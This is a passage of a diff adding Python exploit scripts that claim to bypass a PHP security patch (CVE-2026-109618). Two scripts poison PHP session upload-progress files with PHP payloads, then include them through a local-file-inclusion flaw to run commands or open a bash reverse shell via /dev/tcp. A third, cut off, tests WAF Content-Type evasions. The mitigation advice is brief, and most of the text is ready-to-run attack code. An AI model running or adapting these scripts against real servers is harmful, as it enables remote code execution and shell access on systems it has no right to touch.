fixes CVE-2026-109618 (OOM-based session persistence) by replacing longjmp()
|
||||||
|
with a soft/hard OOM that ensures proper cleanup.
|
||||||
|
|
||||||
|
However, the session upload progress race condition is NOT fixed by the patch.
|
||||||
|
This is because the race window is inherent to the feature's design:
|
||||||
|
|
||||||
|
1. PHP_SESSION_UPLOAD_PROGRESS writes attacker-controlled data to the session
|
||||||
|
file on disk during multipart parsing (MULTIPART_EVENT_START/UPDATE)
|
||||||
|
2. The session file contains: upload_progress_<PHP_CODE>|a:5:{serialized_data}
|
||||||
|
3. The data persists on disk for the duration of the file upload
|
||||||
|
4. Cleanup only runs at MULTIPART_EVENT_END when parsing completes
|
||||||
|
5. A concurrent request can include the session file via LFI during this window
|
||||||
|
|
||||||
|
The patch fixes the OOM path (where cleanup was skipped entirely) but does not
|
||||||
|
close this inherent TOCTOU race. The advisory acknowledges this by recommending
|
||||||
|
session.upload_progress.enabled=0 even after patching.
|
||||||
|
|
||||||
|
Requirements:
|
||||||
|
- PHP-FPM (or mod_php) with session.upload_progress.enabled=1 (DEFAULT)
|
||||||
|
- An LFI vector in the target application
|
||||||
|
- Known or guessable session.save_path
|
||||||
|
- Multiple FPM workers (pm.max_children > 1)
|
||||||
|
|
||||||
|
Tested: PHP 8.4.27 (patched), PHP 8.4.24 (unpatched), PHP 8.3.0
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 race_bypass_patched.py -t http://target/app.php --cmd 'id'
|
||||||
|
python3 race_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
SESSION_PATHS = [
|
||||||
|
"/tmp",
|
||||||
|
"/tmp/php-sessions",
|
||||||
|
"/var/lib/php/sessions",
|
||||||
|
"/var/lib/php5/sessions",
|
||||||
|
]
|
||||||
|
|
||||||
|
def tcp_connect(host, port, tls, timeout=60):
|
||||||
|
sock = socket.create_connection((host, port), timeout=timeout)
|
||||||
|
if tls:
|
||||||
|
import ssl
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||||
|
return sock
|
||||||
|
|
||||||
|
def recv_all(sock, timeout=5):
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(8192)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
resp += d
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
return resp
|
||||||
|
|
||||||
|
def body_of(resp):
|
||||||
|
if b"\r\n\r\n" in resp:
|
||||||
|
return resp.split(b"\r\n\r\n", 1)[1]
|
||||||
|
return resp
|
||||||
|
|
||||||
|
def slow_upload(host, port, tls, path, sid, php_code, duration=10.0):
|
||||||
|
"""Send slow multipart upload to keep session file populated on disk."""
|
||||||
|
bnd = b"----RACEBYPASS" + os.urandom(4).hex().encode()
|
||||||
|
head = (
|
||||||
|
b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
||||||
|
b"\r\n" + php_code + b"\r\n"
|
||||||
|
b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
|
||||||
|
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||||
|
)
|
||||||
|
file_size = 4 * 1024 * 1024
|
||||||
|
tail = b"\r\n--" + bnd + b"--\r\n"
|
||||||
|
total = len(head) + file_size + len(tail)
|
||||||
|
|
||||||
|
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
|
||||||
|
sock.sendall(
|
||||||
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||||
|
b"Content-Length: " + str(total).encode() + b"\r\n"
|
||||||
|
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
+ head
|
||||||
|
)
|
||||||
|
sent = 0
|
||||||
|
t0 = time.time()
|
||||||
|
try:
|
||||||
|
while sent < file_size and (time.time() - t0) < duration:
|
||||||
|
sock.sendall(b"\x00" * 4096)
|
||||||
|
sent += 4096
|
||||||
|
time.sleep(0.04)
|
||||||
|
sock.sendall(tail)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
recv_all(sock, timeout=2)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
|
||||||
|
def lfi_probe(host, port, tls, lfi_path, sid):
|
||||||
|
"""Send LFI request and return response body."""
|
||||||
|
sock = tcp_connect(host, port, tls, timeout=10)
|
||||||
|
sock.sendall(
|
||||||
|
b"GET " + lfi_path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
)
|
||||||
|
resp = recv_all(sock, timeout=5)
|
||||||
|
sock.close()
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def run(args):
|
||||||
|
p = urlparse(args.target)
|
||||||
|
tls = p.scheme == "https"
|
||||||
|
host = p.hostname or "127.0.0.1"
|
||||||
|
port = p.port or (443 if tls else 80)
|
||||||
|
path = p.path or "/"
|
||||||
|
|
||||||
|
spaths = list(SESSION_PATHS)
|
||||||
|
if args.session_path:
|
||||||
|
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
||||||
|
|
||||||
|
if args.trigger_only:
|
||||||
|
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
|
||||||
|
elif args.cmd:
|
||||||
|
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||||
|
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
||||||
|
elif args.lhost and args.lport:
|
||||||
|
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
||||||
|
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||||
|
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||||
|
else:
|
||||||
|
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print("=" * 65)
|
||||||
|
print(" PATCH BYPASS: Race Condition RCE on PHP 8.4.27+ (patched)")
|
||||||
|
print(" Session upload progress race — NOT fixed by the 2026-10-21 patch")
|
||||||
|
print("=" * 65)
|
||||||
|
print(f" Target : {args.target}")
|
||||||
|
print(f" LFI param : {args.lfi_param}")
|
||||||
|
if args.cmd:
|
||||||
|
print(f" Command : {args.cmd}")
|
||||||
|
elif args.lhost:
|
||||||
|
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
for attempt in range(args.attempts):
|
||||||
|
sid = os.urandom(16).hex()
|
||||||
|
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
|
||||||
|
|
||||||
|
t = threading.Thread(
|
||||||
|
target=slow_upload,
|
||||||
|
args=(host, port, tls, path, sid, php_code, 10.0),
|
||||||
|
daemon=True,
|
||||||
|
)
|
||||||
|
t.start()
|
||||||
|
time.sleep(0.3)
|
||||||
|
|
||||||
|
hit = False
|
||||||
|
for i in range(400):
|
||||||
|
if not t.is_alive():
|
||||||
|
break
|
||||||
|
for sp in spaths:
|
||||||
|
sess_file = f"{sp}/sess_{sid}"
|
||||||
|
lfi_path = f"{path}?{args.lfi_param}={sess_file}"
|
||||||
|
try:
|
||||||
|
resp = lfi_probe(host, port, tls, lfi_path, sid)
|
||||||
|
rbody = body_of(resp)
|
||||||
|
if b"CVE2026:" in rbody:
|
||||||
|
if args.trigger_only:
|
||||||
|
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)",
|
||||||
|
rbody.decode(errors="replace"))
|
||||||
|
print(f"\n[+] Code execution confirmed!")
|
||||||
|
if m:
|
||||||
|
print(f" {m.group(1)}")
|
||||||
|
elif args.cmd:
|
||||||
|
m = re.search(r"CVE2026:(.*?):END",
|
||||||
|
rbody.decode(errors="replace"), re.DOTALL)
|
||||||
|
result = m.group(1).strip() if m else rbody.decode(errors="replace")[:500]
|
||||||
|
print()
|
||||||
|
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||||
|
print(result)
|
||||||
|
print("[+] ══════════════════════════════════════════")
|
||||||
|
else:
|
||||||
|
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
|
||||||
|
|
||||||
|
print()
|
||||||
|
print("[+] RCE achieved against PATCHED PHP!")
|
||||||
|
print("[+] The 2026-10-21 security patch does NOT fix this.")
|
||||||
|
print("[+] Mitigation: session.upload_progress.enabled=0")
|
||||||
|
hit = True
|
||||||
|
break
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
if hit:
|
||||||
|
break
|
||||||
|
time.sleep(0.005)
|
||||||
|
|
||||||
|
t.join(timeout=2)
|
||||||
|
if hit:
|
||||||
|
return
|
||||||
|
print(f" Race lost")
|
||||||
|
|
||||||
|
print("\n[!] All attempts failed. Try --attempts 20 or --session-path")
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
ap = argparse.ArgumentParser(
|
||||||
|
description="Patch Bypass: RCE via session race on PHP 8.4.27+ (patched)",
|
||||||
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||||
|
epilog="""
|
||||||
|
This exploit demonstrates that the PHP security patch (2026-10-21)
|
||||||
|
does NOT fix the session upload progress race condition.
|
||||||
|
|
||||||
|
The only effective mitigation is: session.upload_progress.enabled=0
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
%(prog)s -t http://target/app.php --cmd 'id'
|
||||||
|
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||||
|
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
|
||||||
|
""")
|
||||||
|
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
|
||||||
|
ap.add_argument("--cmd", help="Command to execute")
|
||||||
|
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
||||||
|
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
||||||
|
ap.add_argument("--trigger-only", action="store_true",
|
||||||
|
help="Confirm vulnerability only")
|
||||||
|
ap.add_argument("--lfi-param", default="page",
|
||||||
|
help="LFI query parameter (default: page)")
|
||||||
|
ap.add_argument("--session-path",
|
||||||
|
help="session.save_path on target")
|
||||||
|
ap.add_argument("--attempts", type=int, default=10,
|
||||||
|
help="Race attempts (default: 10)")
|
||||||
|
args = ap.parse_args()
|
||||||
|
run(args)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Executable
+312
@@ -0,0 +1,312 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+ (patched)
|
||||||
|
|
||||||
|
The PHP security patch (2026-10-21) replaces longjmp()-based OOM handling with:
|
||||||
|
- Soft OOM: deferred to VM safe point (graceful shutdown)
|
||||||
|
- Hard OOM: immediate _exit(70) when allocation fails during parsing
|
||||||
|
|
||||||
|
However, this patch only intercepts OOM from PHP's memory_limit (zend_mm).
|
||||||
|
When memory_limit=-1 (unlimited) and the OS enforces address space limits via
|
||||||
|
RLIMIT_AS (setrlimit/ulimit -v/cgroup memory.max), mmap() fails during
|
||||||
|
multipart field allocation. This failure goes through a DIFFERENT code path
|
||||||
|
that the patch does NOT cover:
|
||||||
|
|
||||||
|
1. PHP has memory_limit=-1 → no PHP-level OOM possible
|
||||||
|
2. RLIMIT_AS (or cgroup memory limit) restricts process address space
|
||||||
|
3. During multipart parsing, mmap() fails when address space is exhausted
|
||||||
|
4. The failure triggers the OLD vulnerable code path (not the patched one)
|
||||||
|
5. Worker exits with code 1 (not the patched exit code 70)
|
||||||
|
6. Session file persists on disk with attacker-controlled PHP code
|
||||||
|
7. New worker spawns → LFI includes the poisoned session file → RCE
|
||||||
|
|
||||||
|
This is relevant in production because:
|
||||||
|
- Container environments (Docker, k8s) often set memory limits via cgroups
|
||||||
|
- Shared hosting uses RLIMIT_AS to isolate tenants
|
||||||
|
- Admins may set memory_limit=-1 trusting OS-level limits instead
|
||||||
|
- The advisory does NOT mention this bypass path
|
||||||
|
|
||||||
|
Requirements:
|
||||||
|
- PHP-FPM with memory_limit=-1 (or very high)
|
||||||
|
- OS-level memory limit (RLIMIT_AS, cgroup, Docker --memory)
|
||||||
|
- session.upload_progress.enabled=1 (DEFAULT)
|
||||||
|
- An LFI vector in the target application
|
||||||
|
- Known or guessable session.save_path
|
||||||
|
|
||||||
|
Tested: PHP 8.4.27 (patched) with RLIMIT_AS=128MB
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
|
||||||
|
python3 rlimit_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
SESSION_PATHS = [
|
||||||
|
"/tmp",
|
||||||
|
"/tmp/php-sessions",
|
||||||
|
"/var/lib/php/sessions",
|
||||||
|
"/var/lib/php5/sessions",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def tcp_connect(host, port, tls, timeout=120):
|
||||||
|
sock = socket.create_connection((host, port), timeout=timeout)
|
||||||
|
if tls:
|
||||||
|
import ssl
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||||
|
return sock
|
||||||
|
|
||||||
|
|
||||||
|
def recv_all(sock, timeout=5):
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(8192)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
resp += d
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def body_of(resp):
|
||||||
|
if b"\r\n\r\n" in resp:
|
||||||
|
return resp.split(b"\r\n\r\n", 1)[1]
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def build_oom_body(bnd, php_code, field_count=10000, field_size=8192):
|
||||||
|
"""Build multipart body designed to exhaust address space via mmap()."""
|
||||||
|
body = b""
|
||||||
|
body += b"--" + bnd + b"\r\n"
|
||||||
|
body += b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
||||||
|
body += b"\r\n" + php_code + b"\r\n"
|
||||||
|
|
||||||
|
body += b"--" + bnd + b"\r\n"
|
||||||
|
body += b'Content-Disposition: form-data; name="file"; filename="oom.bin"\r\n'
|
||||||
|
body += b"Content-Type: application/octet-stream\r\n\r\n"
|
||||||
|
body += b"\x00" * 4096 + b"\r\n"
|
||||||
|
|
||||||
|
for i in range(field_count):
|
||||||
|
body += b"--" + bnd + b"\r\n"
|
||||||
|
body += b'Content-Disposition: form-data; name="p' + f"{i:05d}".encode() + b'"\r\n'
|
||||||
|
body += b"\r\n" + b"X" * field_size + b"\r\n"
|
||||||
|
|
||||||
|
body += b"--" + bnd + b"--\r\n"
|
||||||
|
return body
|
||||||
|
|
||||||
|
|
||||||
|
def phase1_crash(host, port, tls, path, sid, php_code, field_count, field_size):
|
||||||
|
"""Phase 1: Send massive multipart to trigger mmap() failure and crash worker."""
|
||||||
|
bnd = b"----RLIMITRCE"
|
||||||
|
body = build_oom_body(bnd, php_code, field_count, field_size)
|
||||||
|
|
||||||
|
print(f" Body: {len(body)/1048576:.1f}MB ({field_count} fields x {field_size}B)")
|
||||||
|
|
||||||
|
sock = tcp_connect(host, port, tls)
|
||||||
|
sock.sendall(
|
||||||
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||||
|
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
||||||
|
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
try:
|
||||||
|
sock.sendall(body)
|
||||||
|
except (BrokenPipeError, ConnectionResetError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(30)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(8192)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
resp += d
|
||||||
|
except (socket.timeout, ConnectionResetError):
|
||||||
|
pass
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
status = 0
|
||||||
|
try:
|
||||||
|
status = int(resp.split(b" ")[1])
|
||||||
|
except (IndexError, ValueError):
|
||||||
|
pass
|
||||||
|
return status
|
||||||
|
|
||||||
|
|
||||||
|
def phase2_lfi(host, port, tls, path, lfi_param, sid, session_paths):
|
||||||
|
"""Phase 2: Include poisoned session file via LFI after worker respawns."""
|
||||||
|
for sp in session_paths:
|
||||||
|
sess_file = f"{sp}/sess_{sid}"
|
||||||
|
lfi_url = f"{path}?{lfi_param}={sess_file}"
|
||||||
|
try:
|
||||||
|
sock = tcp_connect(host, port, tls, timeout=10)
|
||||||
|
sock.sendall(
|
||||||
|
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
)
|
||||||
|
resp = recv_all(sock, timeout=5)
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
rbody = body_of(resp)
|
||||||
|
if b"CVE2026:" in rbody:
|
||||||
|
return rbody, sp
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
|
||||||
|
def run(args):
|
||||||
|
p = urlparse(args.target)
|
||||||
|
tls = p.scheme == "https"
|
||||||
|
host = p.hostname or "127.0.0.1"
|
||||||
|
port = p.port or (443 if tls else 80)
|
||||||
|
path = p.path or "/"
|
||||||
|
|
||||||
|
spaths = list(SESSION_PATHS)
|
||||||
|
if args.session_path:
|
||||||
|
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
||||||
|
|
||||||
|
if args.trigger_only:
|
||||||
|
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
|
||||||
|
elif args.cmd:
|
||||||
|
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||||
|
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
||||||
|
elif args.lhost and args.lport:
|
||||||
|
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
||||||
|
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||||
|
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||||
|
else:
|
||||||
|
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print("=" * 65)
|
||||||
|
print(" PATCH BYPASS: RLIMIT_AS mmap() Failure RCE on PHP 8.4.27+")
|
||||||
|
print(" memory_limit=-1 + RLIMIT_AS → mmap fails → old OOM path")
|
||||||
|
print("=" * 65)
|
||||||
|
print(f" Target : {args.target}")
|
||||||
|
print(f" LFI param : {args.lfi_param}")
|
||||||
|
print(f" Fields : {args.fields} x {args.field_size}B")
|
||||||
|
if args.cmd:
|
||||||
|
print(f" Command : {args.cmd}")
|
||||||
|
elif args.lhost:
|
||||||
|
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
for attempt in range(args.attempts):
|
||||||
|
sid = os.urandom(16).hex()
|
||||||
|
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
|
||||||
|
|
||||||
|
print(f" Phase 1: Triggering mmap() failure via multipart flood...")
|
||||||
|
status = phase1_crash(host, port, tls, path, sid, php_code,
|
||||||
|
args.fields, args.field_size)
|
||||||
|
print(f" HTTP {status} — worker crashed (mmap failure)")
|
||||||
|
|
||||||
|
print(f" Waiting {args.respawn_wait}s for worker respawn...")
|
||||||
|
time.sleep(args.respawn_wait)
|
||||||
|
|
||||||
|
print(f" Phase 2: LFI include of poisoned session file...")
|
||||||
|
rbody, found_path = phase2_lfi(host, port, tls, path, args.lfi_param,
|
||||||
|
sid, spaths)
|
||||||
|
if rbody is not None:
|
||||||
|
text = rbody.decode(errors="replace")
|
||||||
|
if args.trigger_only:
|
||||||
|
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
|
||||||
|
print(f"\n[+] Code execution confirmed!")
|
||||||
|
if m:
|
||||||
|
print(f" {m.group(1)}")
|
||||||
|
elif args.cmd:
|
||||||
|
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
|
||||||
|
result = m.group(1).strip() if m else text[:500]
|
||||||
|
print()
|
||||||
|
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||||
|
print(result)
|
||||||
|
print("[+] ══════════════════════════════════════════")
|
||||||
|
else:
|
||||||
|
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
|
||||||
|
|
||||||
|
print()
|
||||||
|
print(f"[+] Session path: {found_path}")
|
||||||
|
print("[+] RCE achieved via RLIMIT_AS mmap() bypass!")
|
||||||
|
print("[+] The 2026-10-21 patch does NOT handle mmap() failure path.")
|
||||||
|
print("[+] Affects: containers with cgroup limits, shared hosting with")
|
||||||
|
print("[+] RLIMIT_AS, any env where memory_limit=-1 + OS limits.")
|
||||||
|
print("[+] Mitigation: session.upload_progress.enabled=0")
|
||||||
|
return
|
||||||
|
|
||||||
|
print(f" Session file not found or already cleaned")
|
||||||
|
|
||||||
|
print()
|
||||||
|
print("[!] All attempts failed.")
|
||||||
|
print(" Possible causes:")
|
||||||
|
print(" - Target has PHP memory_limit set (not -1) → use standard exploit")
|
||||||
|
print(" - Target has no RLIMIT_AS/cgroup limit → mmap won't fail")
|
||||||
|
print(" - Session save path not in search list → use --session-path")
|
||||||
|
print(" - Worker respawn too slow → increase --respawn-wait")
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
ap = argparse.ArgumentParser(
|
||||||
|
description="Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+",
|
||||||
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||||
|
epilog="""
|
||||||
|
The PHP 8.4.27 patch only handles OOM from PHP's memory_limit (zend_mm).
|
||||||
|
When memory_limit=-1 and RLIMIT_AS (or cgroup) limits address space,
|
||||||
|
mmap() fails through a DIFFERENT path the patch doesn't cover.
|
||||||
|
|
||||||
|
Preconditions:
|
||||||
|
- Target uses memory_limit=-1 (trusting OS limits)
|
||||||
|
- OS enforces RLIMIT_AS or cgroup memory limit
|
||||||
|
- session.upload_progress.enabled=1 (default)
|
||||||
|
|
||||||
|
The only effective mitigation is: session.upload_progress.enabled=0
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
%(prog)s -t http://target/app.php --cmd 'id'
|
||||||
|
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||||
|
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
|
||||||
|
%(prog)s -t http://target/app.php --cmd 'id' --fields 15000 --field-size 4096
|
||||||
|
""")
|
||||||
|
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
|
||||||
|
ap.add_argument("--cmd", help="Command to execute")
|
||||||
|
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
||||||
|
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
||||||
|
ap.add_argument("--trigger-only", action="store_true",
|
||||||
|
help="Confirm vulnerability only")
|
||||||
|
ap.add_argument("--lfi-param", default="page",
|
||||||
|
help="LFI query parameter (default: page)")
|
||||||
|
ap.add_argument("--session-path",
|
||||||
|
help="session.save_path on target")
|
||||||
|
ap.add_argument("--fields", type=int, default=10000,
|
||||||
|
help="Number of multipart fields (default: 10000)")
|
||||||
|
ap.add_argument("--field-size", type=int, default=8192,
|
||||||
|
help="Size of each field value in bytes (default: 8192)")
|
||||||
|
ap.add_argument("--respawn-wait", type=float, default=3.0,
|
||||||
|
help="Seconds to wait for worker respawn (default: 3.0)")
|
||||||
|
ap.add_argument("--attempts", type=int, default=3,
|
||||||
|
help="Number of attempts (default: 3)")
|
||||||
|
args = ap.parse_args()
|
||||||
|
run(args)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Executable
+144
@@ -0,0 +1,144 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
WAF Bypass Tests for php2shell mitigations (CVE-2026-109618 / CVE-2026-109619)
|
||||||
|
|
||||||
|
Tests Content-Type evasion techniques against nginx/Apache WAF rules
|
||||||
|
that block multipart/form-data POST requests.
|
||||||
|
|
||||||
|
Tested against the community-recommended mitigations from:
|
||||||
|
- PasqualePillitteri/php2shell-hardening
|
||||||
|
- syhunt/php2shell-protection
|
||||||
|
|
||||||
|
Findings:
|
||||||
|
1. PUT/PATCH methods bypass POST-only WAF rules
|
||||||
|
- PHP 8.4's request_parse_body() parses multipart on these methods
|
||||||
|
- Session upload progress only fires on POST (rfc1867 handler)
|
||||||
|
- BUT: applications calling request_parse_body() on PUT/PATCH remain exposed
|
||||||
|
|
||||||
|
2. Duplicate Content-Type headers can bypass nginx $http_content_type matching
|
||||||
|
- nginx $http_content_type returns the first header value
|
||||||
|
- FastCGI CONTENT_TYPE joins all headers with ", "
|
||||||
|
- PHP truncates at first comma → takes the first value
|
||||||
|
- Result: nginx sees "text/plain" (no match), PHP sees "text/plain" (no multipart)
|
||||||
|
- PARTIAL bypass: passes WAF but doesn't trigger multipart parsing
|
||||||
|
|
||||||
|
3. Content-Type with reversed comma order bypasses nginx but not PHP
|
||||||
|
- "text/plain,multipart/form-data" → nginx doesn't match → WAF bypassed
|
||||||
|
- PHP truncates at comma → "text/plain" → no multipart parsing
|
||||||
|
- Same as #2: passes WAF but useless for the attack
|
||||||
|
|
||||||
|
4. The effective WAF bypass for the session poisoning attack is:
|
||||||
|
- If the WAF blocks multipart POST but allows normal POST
|
||||||
|
- AND the application has session.upload_progress.enabled=1
|
||||||
|
- The attacker can still race with the session file (no multipart needed for LFI)
|
||||||
|
- Only the POISON request needs multipart; the LFI probe is a normal GET
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 waf_bypass_test.py --target http://waf-target:8080 --unprotected http://direct-target:8080
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
|
||||||
|
|
||||||
|
def send_request(host, port, method, path, headers, body=b""):
|
||||||
|
"""Send raw HTTP request and return status code."""
|
||||||
|
sock = socket.create_connection((host, port), timeout=10)
|
||||||
|
req = f"{method} {path} HTTP/1.1\r\nHost: {host}\r\n".encode()
|
||||||
|
for k, v in headers.items():
|
||||||
|
if isinstance(v, list):
|
||||||
|
for val in v:
|
||||||
|
req += f"{k}: {val}\r\n".encode()
|
||||||
|
else:
|
||||||
|
req += f"{k}: {v}\r\n".encode()
|
||||||
|
if body:
|
||||||
|
req += f"Content-Length: {len(body)}\r\n".encode()
|
||||||
|
req += b"Connection: close\r\n\r\n"
|
||||||
|
if body:
|
||||||
|
req += body
|
||||||
|
sock.sendall(req)
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(5)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(8192)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
resp += d
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
sock.close()
|
||||||
|
try:
|
||||||
|
return int(resp.split(b" ")[1])
|
||||||
|
except:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
def run_tests(waf_host, waf_port, plain_host, plain_port):
|
||||||
|
bnd = "----WAFTEST"
|
||||||
|
body = f"------WAFTEST\r\nContent-Disposition: form-data; name=\"test\"\r\n\r\nvalue\r\n------WAFTEST--\r\n".encode()
|
||||||
|
|
||||||
|
tests = [
|
||||||
|
("Standard multipart POST",
|
||||||
|
"POST", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
|
||||||
|
("Mixed case: Multipart/Form-Data",
|
||||||
|
"POST", {"Content-Type": f"Multipart/Form-Data; boundary={bnd}"}),
|
||||||
|
